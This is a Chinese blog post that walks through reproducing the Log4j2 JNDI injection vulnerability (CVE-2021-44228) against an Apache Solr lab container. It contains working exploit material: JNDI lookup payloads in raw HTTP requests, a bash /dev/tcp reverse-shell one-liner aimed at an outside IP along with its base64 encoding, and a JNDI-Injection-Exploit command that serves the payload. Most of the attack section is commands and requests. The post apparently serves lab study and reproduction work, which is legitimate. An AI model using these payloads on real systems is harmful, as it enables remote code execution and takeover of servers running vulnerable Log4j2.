编程开源技术交流,分享技术与知识

网站首页 > 开源技术 正文

学习Log4j2 JNDI注入漏洞(CVE-2021-44228)

wxchong 2024-10-26 16:02:15 开源技术 21 ℃ 0 评论

这个实验先做一个dnslog漏洞验证,然后做一个反弹shell。Apache Log4j2 不是一个特定的Web服务,而是一个第三方的Java语言日志处理库,使用极为广泛,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。[1]

ailx10

网络安全优秀回答者

网络安全硕士

去咨询

前提:准备好docker环境,下载好vulhub,进入目录 ,开始复现漏洞

  • docker-compose build //可选
  • docker-compose up -d

完成试验后,记得删除漏洞环境哦~~

  • docker-compose down
  • docker system prune -a -f //可选

简单访问一下,说明Log4j2 JNDI注入漏洞(CVE-2021-44228)环境搭建成功了

(1)dnslog验证

GET /solr/admin/cores?action=${jndi:ldap://ailx10.e7medy.dnslog.cn} HTTP/1.1
Host: 144.34.162.13:8983
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=3BDAB13E80285BBAEF0121B62A342D06
Connection: close

(2)反弹shell

这里一共4步,就能反弹shell,分别是base64 编码载荷、在自己的VPS上构建 JNDI 服务、在自己的VPS上监听、掏出BP,请求 JNDI 服务,随后便能在自己的VPS上观察到反弹shell成功~

  • base64 编码载荷
bash -i >& /dev/tcp/174.137.58.6/8888 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzQuMTM3LjU4LjYvODg4OCAwPiYx
  • 在自己的VPS上构建 JNDI 服务[2]

这里需要JNDI注入利用工具,生成JNDI链接并启动后端相关服务,可用于Fastjson、Jackson等相关漏洞的验证。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzQuMTM3LjU4LjYvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" -A 174.137.58.6
  • 在自己的VPS上监听
  • 掏出BP,请求 JNDI 服务
GET /solr/admin/cores?action=${jndi:rmi://174.137.58.6:1099/wa5kzv} HTTP/1.1
Host: 144.34.162.13:8983
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=3BDAB13E80285BBAEF0121B62A342D06
Connection: close

  • 观察VPS,反弹shell成功

参考

  1. ^Apache Log4j2 lookup JNDI 注入漏洞 CVE-2021-44228 https://github.com/Threekiii/Vulhub-Reproduce/blob/master/Apache%20Log4j2%20lookup%20JNDI%20%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%20CVE-2021-44228.md
  2. ^JNDI-Injection-Exploit https://github.com/welk1n/JNDI-Injection-Exploit

Tags:

本文暂时没有评论,来添加一个吧(●'◡'●)

欢迎 发表评论:

最近发表
标签列表